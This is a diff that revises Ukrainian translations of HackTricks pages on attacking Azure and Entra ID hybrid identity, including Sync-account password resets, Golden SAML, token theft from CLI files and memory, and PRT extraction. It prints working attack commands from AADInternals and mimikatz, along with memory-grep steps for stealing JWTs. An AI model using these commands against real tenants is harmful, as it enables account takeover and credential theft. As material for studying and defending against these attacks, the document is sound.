Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включаючи глобальних адміністраторів).
|
||||
```bash
|
||||
@@ -163,7 +163,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це несподівано)
|
||||
Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -172,10 +172,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Можливо також скинути пароль цього користувача.
|
||||
Також можливо скинути пароль цього користувача.
|
||||
|
||||
> [!CAUTION]
|
||||
> Інший варіант полягає в тому, щоб **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв.
|
||||
> Інший варіант - це **призначити привілейовані дозволи для сервісного принципала**, що **Sync** користувач має **дозволи** робити, а потім **отримати доступ до цього сервісного принципала** як спосіб підвищення привілеїв.
|
||||
|
||||
### Безшовний SSO
|
||||
|
||||
@@ -185,7 +185,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Поворот Entra ID --> AD
|
||||
## Півотування Entra ID --> AD
|
||||
|
||||
- Якщо увімкнено запис паролів, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізується з Entra ID.
|
||||
- Якщо увімкнено запис груп, ви можете **додати користувачів до привілейованих груп** в Entra ID, які синхронізуються з AD.
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-6
@@ -1,20 +1,20 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати контролерами домену (насправді ви навіть не маєте до них доступу).
|
||||
Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати контролерами домену (насправді у вас навіть немає доступу до них).
|
||||
|
||||
Основна мета полягає в тому, щоб дозволити вам запускати застарілі програми в хмарі, які не можуть використовувати сучасні методи аутентифікації, або коли ви не хочете, щоб запити до каталогу завжди поверталися до локального середовища AD DS.
|
||||
|
||||
Зверніть увагу, що для синхронізації користувачів, створених в Entra ID (і не синхронізованих з інших активних каталогів), до служби домену AD вам потрібно **змінити пароль користувача** на новий, щоб його можна було синхронізувати з новим AD. Насправді, користувач не синхронізується з Microsoft Entra ID до Служб домену, поки пароль не буде змінено.
|
||||
|
||||
> [!WARNING]
|
||||
> Навіть якщо ви створюєте новий домен активного каталогу, ви не зможете повністю ним керувати (якщо не експлуатувати деякі неправильні налаштування), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх, **синхронізуючи користувачів з Entra ID.** Ви можете вказати синхронізувати всіх користувачів (навіть тих, що синхронізовані з інших локальних AD), лише хмарних користувачів (користувачів, створених в Entra ID) або навіть **додатково їх фільтрувати**.
|
||||
> Навіть якщо ви створюєте новий домен активного каталогу, ви не зможете повністю ним керувати (якщо не експлуатувати деякі неправильні налаштування), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх, **синхронізуючи користувачів з Entra ID.** Ви можете вказати синхронізувати всіх користувачів (навіть тих, хто синхронізований з інших локальних AD), лише хмарних користувачів (користувачів, створених в Entra ID) або навіть **додатково їх фільтрувати**.
|
||||
|
||||
> [!NOTE]
|
||||
> Загалом, через відсутність гнучкості в налаштуванні нового домену та той факт, що AD зазвичай вже є локальними, це не основна інтеграція між Entra ID та AD, але все ж цікаво знати, як його скомпрометувати.
|
||||
> Загалом, через відсутність гнучкості в налаштуванні нового домену та той факт, що AD зазвичай вже знаходяться на локальному рівні, це не основна інтеграція між Entra ID та AD, але все ж цікаво знати, як її скомпрометувати.
|
||||
|
||||
### Pivoting
|
||||
|
||||
@@ -37,7 +37,7 @@ Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
Однак перехід з домену до Entra ID не є таким простим, оскільки нічого з домену не синхронізується в Entra ID. Проте завжди перевіряйте метадані всіх ВМ, приєднаних до їх призначених керованих ідентичностей, оскільки вони можуть мати цікаві дозволи. Також **вивантажте всі паролі користувачів з домену** і спробуйте їх зламати, щоб потім увійти в Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що в минулому були виявлені інші вразливості в цьому керованому AD, які дозволяли компрометувати DC, [як ця](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Зловмисник, який компрометує DC, міг би дуже легко підтримувати стійкість, не помічаючи Azure адміністраторів або навіть не маючи можливості видалити це.
|
||||
> Зверніть увагу, що в минулому були виявлені інші вразливості в цьому керованому AD, які дозволяли компрометувати DC, [як ця](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Зловмисник, який компрометує DC, може дуже легко підтримувати стійкість, не помічаючи Azure адміністраторів або навіть не маючи можливості видалити це.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+18
-18
@@ -1,17 +1,17 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**Федерація** - це колекція **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **автентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів.
|
||||
>**Федерація** - це сукупність **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **автентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів.
|
||||
>Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для автентифікації та авторизації. Цей метод входу забезпечує, що вся **автентифікація користувачів відбувається локально**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
В основному, у Федерації вся **автентифікація** відбувається в **локальному** середовищі, і користувач отримує SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**.
|
||||
В основному, у Федерації вся **автентифікація** відбувається в **локальному** середовищі, і користувачі отримують SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**.
|
||||
|
||||
**Мова розмітки безпеки (SAML)** використовується для **обміну** всією інформацією про автентифікацію та авторизацію між постачальниками.
|
||||
|
||||
@@ -24,9 +24,9 @@
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить до безпосереднього переходу клієнта до IdP (Постачальник ідентичності) залежно від конкретної реалізації.
|
||||
2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для автентифікації користувача. Він формує запит на автентифікацію SAML (Security Assertion Markup Language) і перенаправляє клієнта до вибраного IdP.
|
||||
2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для автентифікації користувача. Він формує запит на автентифікацію SAML (Мова розмітки безпеки) і перенаправляє клієнта до вибраного IdP.
|
||||
3. IdP бере на себе автентифікацію користувача. Після автентифікації IdP формує SAMLResponse і пересилає його до SP через користувача.
|
||||
4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що свідчить про довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, дозволяючи користувачу використовувати сервіс.
|
||||
4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що свідчить про довірчі відносини з IdP, користувачу надається доступ. Це завершує процес входу, дозволяючи користувачу використовувати сервіс.
|
||||
|
||||
**Якщо ви хочете дізнатися більше про автентифікацію SAML та поширені атаки, перейдіть за посиланням:**
|
||||
|
||||
@@ -34,11 +34,11 @@
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Півотування
|
||||
## Пивотинг
|
||||
|
||||
- AD FS є моделлю ідентичності на основі заяв.
|
||||
- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих будь-де в Інтернеті."
|
||||
- Заяви для користувача записуються всередині SAML токенів і потім підписуються для забезпечення конфіденційності IdP.
|
||||
- AD FS - це модель ідентичності на основі заяв.
|
||||
- "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих де завгодно в Інтернеті."
|
||||
- Заяви для користувача записуються всередині токенів SAML і потім підписуються для забезпечення конфіденційності IdP.
|
||||
- Користувач ідентифікується за допомогою ImmutableID. Він є глобально унікальним і зберігається в Azure AD.
|
||||
- ImmutableID зберігається локально як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача.
|
||||
- Більше інформації в [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
@@ -46,29 +46,29 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
**Атака Golden SAML:**
|
||||
|
||||
- У ADFS SAML Response підписується сертифікатом підпису токенів.
|
||||
- Якщо сертифікат скомпрометований, можливо автентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!
|
||||
- Так само, як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь на автентифікацію.
|
||||
- Якщо сертифікат скомпрометовано, можливо автентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!
|
||||
- Як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь на автентифікацію.
|
||||
- Сертифікат можна витягти з сервера AD FS з привілеями DA, а потім його можна використовувати з будь-якого підключеного до Інтернету пристрою.
|
||||
- Більше інформації в [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Процес, у якому **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.
|
||||
Процес, за яким **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.
|
||||
|
||||
Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), де ключ, що автентифікує особу та права користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта автентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP.
|
||||
Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), де ключ, що автентифікує особу користувача та його права (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта автентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP.
|
||||
|
||||
Золоті SAML мають певні переваги:
|
||||
|
||||
- Вони можуть бути **створені віддалено**, без необхідності бути частиною домену або федерації.
|
||||
- Їх можна **створити віддалено**, без необхідності бути частиною домену або федерації.
|
||||
- Вони залишаються ефективними навіть при **включеній двофакторній автентифікації (2FA)**.
|
||||
- Приватний ключ підпису токенів **не оновлюється автоматично**.
|
||||
- **Зміна пароля користувача не анулює** вже згенерований SAML.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Служби федерації Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) - це служба Microsoft, яка полегшує **безпечний обмін інформацією про особу** між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації.
|
||||
[Служба федерації Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) - це служба Microsoft, яка полегшує **безпечний обмін інформацією про особу** між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації.
|
||||
|
||||
З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких дозволів у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа.
|
||||
З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких прав у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису об'єктів SAML**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа.
|
||||
|
||||
Вимоги для виконання атаки Golden SAML включають:
|
||||
|
||||
@@ -80,7 +80,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- Ім'я сесії ролі в AWS
|
||||
- Ідентифікатор облікового запису Amazon
|
||||
|
||||
_Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням._
|
||||
_Тільки елементи, виділені жирним, є обов'язковими. Інші можна заповнити за бажанням._
|
||||
|
||||
Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати модуль Microsoft.Adfs.Powershell наступним чином, переконавшись, що ви увійшли як користувач ADFS:
|
||||
```bash
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+5
-5
@@ -1,11 +1,11 @@
|
||||
# Гібридні ідентичності Різноманітні атаки
|
||||
# Гібридні ідентичності Різні атаки
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Примусова синхронізація користувачів Entra ID з on-prem
|
||||
|
||||
Як згадувалося в [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), було можливим змінити значення **`ProxyAddress`** всередині користувача AD в on-prem, додавши електронну пошту адміністратора Entra ID та також переконавшись, що UPN користувача в AD та в Entra ID збігаються (це знову Entra ID), як **`SMTP:admin@domain.onmicrosoft.com`**. І це **примусить синхронізацію цього користувача** з Entra ID до on-prem AD, тому якщо пароль користувача був відомий, його можна було б використати для **доступу до адміністратора в Entra ID.**
|
||||
Як згадувалося в [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), було можливим змінити значення **`ProxyAddress`** всередині користувача AD в on-prem, додавши електронну пошту адміністратора Entra ID та також переконавшись, що UPN користувача в AD та в Entra ID збігаються (це знову Entra ID), наприклад, **`SMTP:admin@domain.onmicrosoft.com`**. І це **примусить синхронізацію цього користувача** з Entra ID до on-prem AD, тому якщо пароль користувача був відомий, його можна було б використати для **доступу до адміністратора в Entra ID.**
|
||||
|
||||
Щоб синхронізувати нового користувача з Entra ID до on-prem AD, ці вимоги є єдиними вимогами:
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID більше не дозволяє синхронізувати адміністраторів з Entra ID до on-prem AD.
|
||||
> Також, це **не обійде MFA**.
|
||||
> Також це **не обійде MFA**.
|
||||
|
||||
|
||||
|
||||
@@ -26,4 +26,4 @@
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+4
-4
@@ -9,8 +9,8 @@
|
||||
Токени та чутливі дані зберігаються локально Azure CLI, що викликає занепокоєння щодо безпеки:
|
||||
|
||||
1. **Токени Доступу**: Зберігаються у відкритому тексті в `accessTokens.json`, розташованому за адресою `C:\Users\<username>\.Azure`.
|
||||
2. **Інформація про Підписку**: `azureProfile.json`, в тому ж каталозі, містить деталі підписки.
|
||||
3. **Лог-файли**: Папка `ErrorRecords` в `.azure` може містити журнали з відкритими обліковими даними, такі як:
|
||||
2. **Інформація про Підписку**: `azureProfile.json`, у тій же директорії, містить деталі підписки.
|
||||
3. **Лог-файли**: Папка `ErrorRecords` у `.azure` може містити журнали з відкритими обліковими даними, такими як:
|
||||
- Виконані команди з вбудованими обліковими даними.
|
||||
- URL-адреси, доступ до яких здійснювався за допомогою токенів, що потенційно розкриває чутливу інформацію.
|
||||
|
||||
@@ -29,11 +29,11 @@ Azure PowerShell також зберігає токени та чутливі д
|
||||
|
||||
## Токени в пам'яті
|
||||
|
||||
Як пояснюється в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому тексті в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep** для JWT токенів може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA.
|
||||
Як пояснюється в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому тексті в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA.
|
||||
|
||||
Кроки:
|
||||
|
||||
1. Дамп процесів Excel, синхронізованих з користувачем EntraID, за допомогою вашого улюбленого інструменту.
|
||||
1. Дампуйте процеси Excel, синхронізовані з користувачем EntraID, за допомогою вашого улюбленого інструменту.
|
||||
2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході.
|
||||
3. Знайдіть токени, які вас найбільше цікавлять, і запустіть над ними інструменти:
|
||||
```bash
|
||||
|
||||
+4
-4
@@ -4,15 +4,15 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Entra ID CA** для потрібного користувача (як суб'єкта), коли обидві машини підтримують механізм аутентифікації **NegoEx**.
|
||||
В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Entra ID CA** для потрібного користувача (як суб'єкт), коли обидві машини підтримують механізм аутентифікації **NegoEx**.
|
||||
|
||||
У супер спрощених термінах:
|
||||
|
||||
- Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Entra ID для користувача**.
|
||||
- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням сеансового ключа та контексту безпеки), і **надсилає його до Entra ID**.
|
||||
- Entra ID перевіряє підпис JWT, використовуючи сеансовий ключ клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**.
|
||||
- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням ключа сесії та контексту безпеки), і **надсилає його до Entra ID**.
|
||||
- Entra ID перевіряє підпис JWT, використовуючи ключ сесії клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**.
|
||||
|
||||
У цьому сценарії та після збору всієї необхідної інформації для атаки [**Pass the PRT**](az-primary-refresh-token-prt.md):
|
||||
У цьому сценарії, після збору всієї необхідної інформації для атаки [**Pass the PRT**](az-primary-refresh-token-prt.md):
|
||||
|
||||
- Ім'я користувача
|
||||
- ID орендаря
|
||||
|
||||
+29
-30
@@ -4,10 +4,10 @@
|
||||
|
||||
## Що таке Primary Refresh Token (PRT)?
|
||||
|
||||
**Primary Refresh Token (PRT)** - це довгостроковий токен оновлення, що використовується в аутентифікації Azure AD (Entra ID), аналогічний Kerberos TGT. Він видається під час входу користувача на пристрій, приєднаний до Azure AD, і може використовуватися для запиту токенів доступу для різних додатків без повторного запиту облікових даних. Кожен PRT супроводжується **ключем сесії** (також званим ключем доказу володіння) - симетричним ключем, що використовується для підписання запитів і доведення того, що клієнт має PRT. Сам PRT є непрозорим, зашифрованим об'єктом (нечитаним клієнтом), тоді як ключ сесії використовується для **підписання** JWT, що містить PRT під час запиту токенів. Іншими словами, володіння лише PRT недостатньо; зловмисник потребує ключа сесії, щоб довести легітимність, подібно до того, як потрібно мати як Kerberos TGT, так і його ключ сесії для аутентифікації.
|
||||
**Primary Refresh Token (PRT)** - це токен оновлення з тривалим терміном дії, який використовується в аутентифікації Azure AD (Entra ID), аналогічний Kerberos TGT. Він видається під час входу користувача на пристрій, приєднаний до Azure AD, і може використовуватися для запиту токенів доступу для різних додатків без повторного запиту облікових даних. Кожен PRT супроводжується **ключем сесії** (також званим ключем доказу володіння) - симетричним ключем, який використовується для підписання запитів і доведення того, що клієнт має PRT. Сам PRT є непрозорим, зашифрованим об'єктом (нечитаним клієнтом), тоді як ключ сесії використовується для **підписання** JWT, що містить PRT під час запиту токенів. Іншими словами, володіння лише PRT недостатньо; зловмисник потребує ключа сесії, щоб довести легітимність, подібно до того, як потрібно мати як Kerberos TGT, так і його ключ сесії для аутентифікації.
|
||||
|
||||
На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має **TPM** (модуль довірчої платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, на багатьох віртуальних машинах або старих системах), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. У обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати **вивантажити PRT і ключ сесії з пам'яті** в рамках пост-експлуатації, а потім використовувати їх для видавання себе за користувача в хмарі.
|
||||
На відміну від звичайних токенів оновлення (які зазвичай специфічні для додатка), PRT є більш універсальним, дозволяючи вашому пристрою запитувати токени для майже будь-якого ресурсу або служби, інтегрованої з Entra ID.
|
||||
На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має **TPM** (модуль безпечної платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, багато віртуальних машин або старі системи), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. У обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати **вивантажити PRT і ключ сесії з пам'яті** в рамках пост-експлуатації, а потім використовувати їх для видавання себе за користувача в хмарі.
|
||||
На відміну від звичайних токенів оновлення (які зазвичай специфічні для додатка), PRT є більш широким, дозволяючи вашому пристрою запитувати токени для майже будь-якого ресурсу або служби, інтегрованої з Entra ID.
|
||||
|
||||
## Як працює PRT?
|
||||
|
||||
@@ -21,11 +21,11 @@
|
||||
|
||||
2. **Зберігання токенів:**
|
||||
|
||||
- PRT надійно зберігається на вашому пристрої, часто захищений апаратними функціями, такими як модуль довірчої платформи (TPM), що забезпечує складність для несанкціонованих осіб витягти або зловживати ним.
|
||||
- PRT надійно зберігається на вашому пристрої, часто захищений апаратними функціями, такими як модуль безпечної платформи (TPM), що забезпечує складність для несанкціонованих осіб витягти або зловживати ним.
|
||||
|
||||
3. **Єдине входження (SSO):**
|
||||
|
||||
- Щоразу, коли ви отримуєте доступ до програми, захищеної Entra ID (наприклад, додатки Microsoft 365, SharePoint, Teams), ваш пристрій безшумно використовує збережений PRT для запиту та отримання конкретного токена доступу для цього додатка.
|
||||
- Щоразу, коли ви отримуєте доступ до програми, захищеної Entra ID (наприклад, програми Microsoft 365, SharePoint, Teams), ваш пристрій безшумно використовує збережений PRT для запиту та отримання конкретного токена доступу для цього додатка.
|
||||
|
||||
- Вам не потрібно повторно вводити свої облікові дані, оскільки PRT прозоро обробляє аутентифікацію.
|
||||
|
||||
@@ -39,9 +39,9 @@
|
||||
|
||||
- **Універсальний доступ:** На відміну від звичайних токенів, обмежених одним додатком або ресурсом, PRT може полегшити доступ до всіх служб, інтегрованих з Entra ID.
|
||||
|
||||
- **Покращена безпека:** Завдяки вбудованим апаратним захистам (таким як TPM), PRT забезпечують безпечне зберігання та використання токенів.
|
||||
- **Покращена безпека:** Завдяки вбудованим апаратним захистам (таким як TPM) PRT забезпечують безпечне зберігання та використання токенів.
|
||||
|
||||
- **Досвід користувача:** PRT значно покращують досвід користувача, зменшуючи часті запити на аутентифікацію та забезпечуючи справжнє безшовне SSO.
|
||||
- **Досвід користувача:** PRT значно покращують досвід користувача, зменшуючи часті запити на аутентифікацію та забезпечуючи справжнє безперервне SSO.
|
||||
|
||||
## Як дізнатися, чи присутній PRT?
|
||||
|
||||
@@ -91,9 +91,9 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate` буде імплементувати SYSTEM, а команда `dpapi::cloudapkd` з параметром `/unprotect` використає майстер-ключ DPAPI для розшифрування наданого KeyValue блобу. Це дає відкритий текст сесійного ключа, а також пов'язаний Derived Key та Context, використані для підпису:
|
||||
`token::elevate` буде імплементувати SYSTEM, а команда `dpapi::cloudapkd` з параметром `/unprotect` використає майстер-ключ DPAPI для розшифрування наданого KeyValue блобу. Це дає відкритий текст сесійного ключа, а також пов'язаний похідний ключ і контекст, використані для підпису:
|
||||
